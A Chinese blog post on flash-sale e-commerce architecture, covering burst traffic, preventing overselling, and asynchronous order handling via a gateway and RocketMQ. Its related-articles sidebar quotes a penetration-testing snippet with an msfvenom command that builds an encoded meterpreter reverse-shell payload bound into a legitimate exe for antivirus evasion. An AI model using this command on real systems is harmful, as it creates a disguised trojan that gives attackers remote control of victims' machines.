实战分布式之电商高并发秒杀

电商高并发场景下的本地锁优化实践 在分布式系统设计中,并发控制是保证数据一致性的核心技术。本地锁作为最基础的线程同步机制,通过synchronized关键字或Lock接口实现临界区保护,能有效解决单机环境下的资源竞争问题。其核心原理是通过互斥访问确保线程安全,在电商秒杀、优惠券发放等高并发场景中尤为重要。本文以黑马点评项目为例,详细解析如何通过细粒度锁设计优化"一人一单"业务约束,包括ConcurrentHashMap锁池管理、双重检查锁定模式等实用技巧,最终实现在单机环境下2000+TPS的性能表现。该方案特别适合中小型电商系统在业务初期 阅读详情

何为“秒杀”及其特点

“秒杀”这一业务场景在如今已经不是什么新鲜名词,它本质上属于短时突发性高并发访问问题,业务特点如下:

  1. 定时触发,流量在瞬间突增
  2. 秒杀请求中常常只有部分能够成功
  3. 秒杀商品数量往往有限,不能超卖,但能接受少卖
  4. 不要求立即返回真实下单结果

分析一下这些秒杀场景的典型特点,我们不难看出,秒杀场景属于典型的高并发场景,对系统的冲击较大。我们来对上述特点进行逐一分析:

1.定时触发,流量在瞬间突增

这不难理解,秒杀活动往往伴随着固定的节日、活动而开展,在某一个确定时间对C端用户开放访问能力,此时往往会出现一个较为明显的请求激增。如:每年“双11”当天0点,淘宝等电商平台访问量基本上会出现明显的请求波峰,这与秒杀的定时性,息息相关。

2.秒杀请求中常常只有部分能够成功

这是肯定的,在库存有限、请求接收较多的情况下,常会存在部分请求处理成功,部分请求处理失败的情况。

如果库存是无限的,也就不存在秒杀这一说了。也正是因为库存有限,平台以此为卖点,采取定时限量售卖的营销策略更能刺激用户进行访问。

一般情况,秒杀场景下的商品售价较平时都有明显的优惠。

3.商品数量往往有限,不能超卖,但能接受少卖

商品数量有限在上文已经说过了,我们聊聊“超卖”、“少卖”的问题。

超卖是不能容忍的情况,如果发生超卖,则属于业务异常了。一般情况下商家只会提供有限数量的商品作为秒杀营销商品,如果超卖,则商家往往面临较为明显的亏损。这在业务上是不能出现的。

少卖则是能够接受的,比如商家提供了10台IPhoneX作为秒杀库存,由于临时减库存或其他原因(往往都是业务上的原因)调整只卖了9台。这对商家而言并没有多大的损失,商家还可以以更高的价格去售卖该多余库存,而且平台因为该秒杀活动还收获了较高的PV/UV,总体而言是没有损失的。

因此我们在设计秒杀架构的时候要以 “超卖零容忍,少卖能兼容” 这一设计原则进行设计。

4.不要求立即返回真实下单结果

由于秒杀业务的特殊性–短时超高并发,因此我们不能按照传统的交易场景进行设计。

传统交易场景下,对于用户的下单请求一般都是同步处理,即同步落库持久化,并同步返回收单结果。

如果我们对秒杀订单采用同步持久化的做法,则系统的吞吐量将基本依赖DB的性能,这在成本上、性能上都有较大压力。因此,我们要在尽量提高系统收单入口吞吐量的同时降低系统开发部署的成本。

“不要求立即返回真实下单结果”,也就是不需要立即持久化,换言之也就是业务流程 “异步化” 。

明确了流程可以异步化,解决的手段就多了。利用缓存、队列、线程池都能实现业务的异步化。这里也反映出

技术是围绕业务运转的,没有业务作为支撑,无论技术多么新颖、其性能多么高,它都无用武之地。

秒杀业务概述

通过对秒杀核心业务流程进行异步化,我们能够将主流程分为收单、下单两个阶段,业务流程概括起来如下:

秒杀流程–收单

  1. 用户访问秒杀入口,将秒杀请求提交给秒杀平台收单网关,平台对秒杀请求进行前置校验
  2. 校验通过后,将下单请求通过缓存/队列/线程池等中间层进行提交,在投递完成同时的同时就给用户返回“排队中”
  3. 对于前置校验失败的下单请求同步返回秒杀下单失败

到此,对用户侧的交互就告一段落。

秒杀流程–下单

下单流程中,平台的压力通过中间层的缓冲其实已经小了很多,之所以会少,一方面是因为在用户下单的同步校验过程中就过滤掉了部分非法请求;另一方面,我们通过在中间层做一些限流、过滤等逻辑对下单请求做限速、压单等操作,将下单请求在内部慢慢消化,尽可能减少流量对平台持久层的冲击。这里其实就体现了中间层
“削峰填谷” 的特点。

基于上述前提,我们简单总结下秒杀下单部分的业务逻辑。

  1. 秒杀订单服务获取中间层的下单请求,进行真实的下单前校验,这里主要进行库存的真实校验
  2. 扣减库存(或称锁库存)成功后,发起真实的下单操作。扣减库存(锁库存)与下单操作一般在一个事务域中
  3. 下单成功后,平台往往会发起消息推送,告知用户下单成功,并引导用户进行支付操作
  4. 用户一段时间(如:30mins)没有支付,则订单作废,库存恢复,给其他排队中的用户提供购买机会
  5. 如果用户支付成功,则订单状态更新,订单流转到其他子系统,如:物流系统对该支付成功的处理中订单进行发货等后续处理
    到此,基本上就是秒杀业务的核心主流程。

进一步抽象 秒杀请求->中间层->真实下单 这个场景,是不是很像我们经常用到的一种异步业务处理模式?

这就是 “生产者-消费者” 模式。

“生产者-消费者”模式 在进程内,常常通过 阻塞队列 或者 “等待-通知” 等机制实现,在服务之间则往往通过消息队列实现,这也是本次实战所采用的技术实现手段。在后续的实战中,我将通过RocketMQ消息队列,对秒杀下单进行解耦,实现削峰填谷、提高系统吞吐量的目的。此处就不多赘述,到编码部分再详细展开。

秒杀业务流程图解

在这里插入图片描述
详细细节在上文中的描述部分已经做过阐述,读者朋友可以配合一起看,这里只对图示流程进行简略总结:

1:用户访问秒杀网关seckill-gateway-service,对感兴趣的商品发起秒杀操作。特别的,对于商品信息,在系统初始化的时候已经加载到seckill-gateway-service。在进行前置库存校验的时候,依据缓存已经做了一次用户下单流量的过滤。

2:网关对秒杀订单进行充分的预校验之后,将秒杀下单消息投递到RocketMQ中,同步向用户返回排队中

3:秒杀订单平台seckill-order-service订阅秒杀下单消息,对消息进行幂等处理,并对商品库存进行真实校验后,进行真实下单操作

本流程为用户通过秒杀网关seckill-gateway-service提供的查单接口对自己下的秒杀订单进行查询跟踪。

总结
由于重点在于秒杀的核心场景,因此上文还是存在有待优化的细节。提出以下建议供大家参考:

1:推荐采用分布式减库存策略:如:使用Redis的decr进行原子减库存。

2:预热库存时,将库存适当调大,防止恶意刷库存导致正常用户不能进行秒杀下单请求。这里要注意只调整缓存中的库存,不能调整商品库中的真实库存,否则会出现 “超卖” 从而导致损失。

3:秒杀接口需要做防刷处理,可以在前端页面通过倒计时方式定时开放接口;通过增加验证码减少下单频率;通过增加下单前收货地址校验、实名认证等方式对僵尸用户进行拦截。

【后端高阶面经:架构篇】46、分布式架构:如何应对高并发的用户请求 本文系统介绍了分布式架构设计与优化策略,主要内容包括: 分层架构设计原则与无状态化实现,通过JWT和Kubernetes实现水平扩展; 流量接入层优化,对比4种负载均衡策略并给出Nginx配置示例; 服务层性能优化方案,包括Netty异步处理和请求合并技术; 数据层高并发解决方案,涵盖主从复制、分库分表及多级缓存架构。通过代码片段和配置示例,展示了关键技术实现细节,为构建高并发分布式系统提供了实践指导。 阅读详情

相关推荐

seckill-rocketmq:seckill-rocketmq-基于RocketMQ-电商高并发场景实战

seckill-rocketmq[基于RocketMQ-电商高并发场景实战] 场景为:示例项目以用户访问秒杀网关进行秒杀订单下单,平台通过RocketMQ对秒杀流量进行削峰填谷。用户通过主动查询订单 获取下单结果的完整业务流程,加深对RocketMQ的理解,并学会如何在实战场景下使用RocketMQ。 项目基本按照实际秒杀场景进行设计与编码,提供了充分的预校验逻辑,可以作为业务中开发的参考demo。 主要技术 消息队列(RocketMQ): 作用,长流程异步化,提升吞吐量,削峰填谷 |-普通消息的发布及订阅 SpringBoot |-配置资源预加载 RestTemplate |-application/x-www-form-urlencoded格式数据的发送 H2 |-嵌入式数据库 业务流程图 业务流程图如下 秒杀下单流程 订单查询流程 模块描述 模块 说明

分布式场景下的并发安全问题

分布式锁有很多种方案这些方案可以使用一个设计模式来统一。

2401_83621784的博客 373

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7650

浅谈下高并发场景之—电商大促销场景下遇到的问题及解决方案

将支付处理过程异步化,把和用户操作相关的前序步骤和后续步骤都进行异步拆分,只在最核心的地方设置同步等待,减少对用户体验的阻滞。例如,在一个大型电商平台上,可以将商品图片、样式表和脚本文件存储在阿里云CDN或腾讯云CDN中,这样当用户请求这些资源时,可以直接从最近的节点获取,而不需要经过主服务器,从而大大提高了响应速度。使用消息队列来存储和处理订单,确保订单的顺序和可靠处理。在大促期间,由于用户购买行为集中,支付系统可能面临大量的并发支付请求,难以及时处理所有订单的支付请求,导致用户支付超时,有货卖不出去。

Java开发者,专注后端技术分享,深耕框架实战与架构优化,持续输出优质技术干货。 1512

1553B通信项目开发笔记(一)协议概述

最近接了个项目,需要用1553B协议通信,仅作为RT端口进行通信,控制器采用ARM 使用芯片为国产的BU61580芯片,功能和引脚和DDC的61580完全一致。

u010396127的博客 2万+

Appstore 3.2(f)违规自救指南:从触发到申诉的完整应对策略

本文详细解析了Appstore 3.2(f)违规的应对策略,从触发原因到申诉流程,帮助开发者有效自救。文章涵盖隐瞒行为、账户关联和信息造假三大违规场景的判定逻辑,并提供申诉信写作的黄金法则和长期合规防御措施,确保开发者能够顺利通过苹果审核。

weixin_29304985的博客 662

有了这个网络安全面试题,面试就像开了挂!(附PDF)

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!【完整版领取方式在文末!!​​​​内容实在太多,不一一截图了。

lvaolan的博客 2507

OpenMontage:AI代理驱动的端到端视频生产系统实战指南

在当今内容创作领域,自动化视频生成技术正成为提升生产效率的关键。其核心原理在于通过智能体(Agent)架构,将复杂的视频制作流程拆解为可被AI理解和执行的标准化任务,从而实现从创意到成片的端到端自动化。这项技术的核心价值在于大幅降低了专业视频制作的门槛,使非专业用户也能快速产出具有一定专业度的内容。其典型应用场景包括社交媒体短片、产品演示、知识科普视频的批量生产。OpenMontage正是这一技术理念的杰出实践,它构建了一个完整的代理驱动视频生产系统,将AI编码助手转变为能自主规划并执行脚本撰写、素材检索、

weixin_35757191的博客 649

【Go】Go-Iris框架实战之电商秒杀系统②核心优化

文章目录第9章 系统分析&前端优化【核心优化方案落地9-2 秒杀分布式架构设计页面静态化的几种方式9-9 CDN原理和作用第10章 服务端性能优化之实现cookie验证后端优化思路基础架构与优化的的架构对比突破Session限制(Cookie代替)cookie与session的区别第11章 服务端性能优化之分布式验证实现11-1 分布式概念第12章 服务端性能优化解决超卖&引入消息队列第14章 课程总结 第9章 系统分析&前端优化【核心优化方案落地 9-2 秒杀分布式架构设计 页面

王大阳的博客 1123

LayaNative源码编译

修改好后的LayaNative2.0需要重新编译生成Android和iOS所需要的动态库文件。

末之 1359

Qi标准下的充电协议及其记忆技巧

记忆无线充电协议中的。

m0_73991989的博客 1320

构建高效分布式秒杀系统:从0到1的实战指南

构建高效分布式秒杀系统:从0到1的实战指南 项目介绍 在电商、直播、抢购等场景中,秒杀活动因其高并发、低库存的特点,成为了技术挑战的焦点。为了应对这一挑战,我们推出了分布式秒杀系统项目。该项目基于SpringBoot框架,结合Zookeeper、Kafka、Redis等分布式技术,从零开始构建一个高效、稳定的秒杀系统。无论你是技术爱好者,还是企业开发者,都能从中获得宝贵的实战经验。 项目技术分析 ...

gitblog_01112的博客 729

因果强化学习:优化决策策略的因果方法

1. 背景介绍 1.1 传统强化学习的局限性 强化学习(Reinforcement Learning, RL)是一种通过与环境交互来学习最优决策策略的方法。然而,传统强化学习方法在面对复杂、动态和不确定的现实世界问题时,往往存在以下局限性: 数据效率低:传统强化学习方法

AI天才研究院 658

go语言高并发与微服务实战 pdf_从无到有构建亿级微服务秒杀系统(真实工业界案例)...

录制本套教程的初衷,通过从业10年接触过很多的技术开发人员,尤其在面试一些技术人员的时候,发现他们的技术知识更新较慢,很多人渴望接触到高并发系统和一些高级技术架构,为了帮助更多人能够提升自己和接触到这类技术架构,并满足企业的人才需求,利用业余时间开启了我录制这套教程。通过录制教程有很多学员给我反馈信息,给了我很大的鼓舞,当然也有吐槽,我想说的是技术是没有边界的,脱离一线业务场景去谈技术,...

weixin_39625782的博客 2434

SMART200如何实现多次调用子程序带定时器功能

1、西门子200PLC的子程序由于很多限制条件,如果希望建立一个可以多次调用的子程序,那么这个子程序里是不能含有定时器指令的,所以我们只能退而求其次了。建议将沿指令(上升沿、下降沿)放在多次调用子程序的外面。 2、可以提供不同的时基,提供不同时间的定时 3、实现秒定时 5、子程序内部: STL代码: 1、时基信号由外部提供、 可以提供不同的时基信号 2、实现循环定时开关 LD #Start:L0....

RXXW_Dor的博客 1万+

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

为啥唯独在秒杀系统里,Redis取代了MySQL?

在电商业务中,秒杀属于技术挑战最大的业务,只有经验够丰富、底子够稳的程序员,才能够hold住从搭建、上线到调优全链路。双十一就是一个经典的秒杀案例,动辄数十万笔的交易请求,对于我们来说,核...

qq_14958051的博客 323

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

wp-calypso Library Middleware:为非 React 库提供 Redux 全局状态访问的三种实践方案

本文讲解 wp-calypso(WordPress.com 的 JavaScript 与 API 前端)中一份重要但常被忽略的设计文档:[client/state/lib/README.md](https://link.gitcode.com/i/59d01612ca0ac2ea913f4cf2679e5633)。随着 SitesList 的废弃,`client/lib` 下的非 React 库无

gitblog_00537的博客 395

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

Java大厂面试真题:Spring Boot + Redis + Kafka 在电商秒杀场景下的高并发设计【谢飞机面试记】

一个完整的电商秒杀系统,不仅仅是写个接口那么简单。高并发设计(缓存、异步、限流)数据一致性(分布式事务、幂等)系统稳定性(监控、熔断、降级)可维护性(日志、追踪、CI/CD)掌握这些技术组合,并理解其背后的设计思想,才是大厂真正考察的核心能力。

lax1008611的博客 346

电商平台Redis缓存管理实战案例

最近在参与一个电商项目开发时,遇到了高并发场景下的性能瓶颈问题。经过多次实战摸索,我们通过RedisManager成功优化了系统性能,今天就来分享一下具体实现思路和关键点。

GoldenleafLynx28的博客 842

电商秒杀系统中的Java面试热点技术全解析

电商秒杀场景要求系统在极短时间内处理大规模用户请求,保证数据一致性以及系统稳定性。Java SE 8/11/17新特性(如CompletableFuture、Stream API)Spring Boot与Spring Cloud微服务架构Redis缓存与分布式锁Kafka消息队列MySQL数据库与高效ORM框架MyBatis利用异步和消息队列削峰填谷设计合理的分布式锁,避免死锁和性能瓶颈关注数据库索引和SQL优化掌握JVM调优与线程模型。

2301_80871862的博客 209

阿里二面:现针对一个请求量10000次/s的秒杀系统,说说你的优化思路

一年一度的双十一购物狂欢节又要到了,各位的钱包还好吗?不过我们今天不聊购物,来聊聊我们最关心的事情。历年双11,除销售额屡创新高以外,作为一名合格的互联网民工,我当然更关心,它背后,无数程...

Java后端技术 593

当你体验过 10W / 秒 的高并发场景,就知道三高架构为啥称神了。。。

众所周知,分布式架构被广泛应用于企业级应用开发中,以满足高并发、高可用、高性能、高扩展性等要求。像电商平台秒杀、平台抢票等高并发场景,数据访问量激增,容易造成服务器负载过重从而导致崩溃。因此,分布式缓存作为分布式架构的重要组件,当一个缓存服务节点挂掉,可以马上切换到另外的缓存服务节点,以保证系统能正常运行。而在缓存中间件中,Redis以兼具缓存和数据库的优点,适用范围更广,很多人更愿意使用,mem...

架构文摘 294

MySQL 高并发性能优化全攻略:从入门到精通,让你的数据库飞起来!

在这篇文章中,我向大家展示了如何在高并发场景下优化 MySQL 的性能。如果你也遇到过高并发下的性能问题,请在评论区留言,告诉我你的经验和困惑!在互联网应用中,高并发场景几乎是每个开发者都会遇到的挑战。想象一下,双十一的淘宝、双十二的京东,甚至是短视频平台的刷屏热潮——这些都是高并发场景的典型代表。在这篇文章中,我们将手把手教你如何在高并发场景下优化 MySQL 的性能。通过本文的学习,相信你已经掌握了在高并发场景下优化 MySQL 的关键技巧。随着技术的发展,MySQL 的性能优化也在不断进步。

Leaton的博客 1699

XXL-JOB在电商大促中的实战应用

最近参与了一个电商平台的促销系统优化项目,用XXL-JOB解决了定时任务管理的痛点。它的管理界面直观,支持动态扩容,还有完善的重试机制,是我们最终选择它的主要原因。对于电商类项目,这种开箱即用的体验能节省大量前期准备时间,建议有类似需求的团队可以尝试用这个平台做技术预研和原型验证。这里用到了XXL-JOB的路由策略,根据商品类目将任务分发到不同的执行器组,保证高频操作的商品类目有专属资源。这里用到了XXL-JOB的阻塞处理策略,确保同一时间只有一个任务实例在执行,避免重复初始化。

IndigoNight21的博客 274

《Java高并发编程核心技术解析与实战案例精讲》

实际应用:某电商秒杀系统通过公式计算出最佳线程数=8核×0.8×1.5=9.6,配置成`FixedThreadPool(10)`后,TPS提升300%- 拒绝策略选择关键点:`CallerRunsPolicy`适合轻量级任务,`DiscardOldestPolicy`需配合健康检查机制。[锁机制性能对比图](https://example.com/lock-comparison-chart) //示意图片位置。1. 线程状态分析:Jstack分析中发现`BLOCKED`占60% → 重构锁竞争点。

WQVqJmpT的博客 259

电商APP压力测试实战:POE易刷的5个典型场景

这里有个小技巧:通过POE易刷的API获取真实用户行为数据(比如平均停留时长、点击热区),把这些数据作为JMeter测试脚本的输入参数。我们设计的这个模拟器就是要提前发现这些问题,特别是像POE易刷这类高频交易APP,必须确保在万人抢购时系统依然稳定。今天想和大家分享一个电商APP压力测试的实战案例,主要针对POE易刷APP在电商高并发场景下的应用。最近刚好帮朋友的公司做了个压力测试模拟器,踩了不少坑也积累了些经验,记录下来希望对大家有帮助。最后说说工具选择的心得:这种需要快速验证的测试项目,用。

CrystalwaveEagle34的博客 133
上一篇: 多线程经典面试题
下一篇: 备战金九银十 你必须知道的Mybatis面试题
Formor_
博客等级 码龄7年 7粉丝 31原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值